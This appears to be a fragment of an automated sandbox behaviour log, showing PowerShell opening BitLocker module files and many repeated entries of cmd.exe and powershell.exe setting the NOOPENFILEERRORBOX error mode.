Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
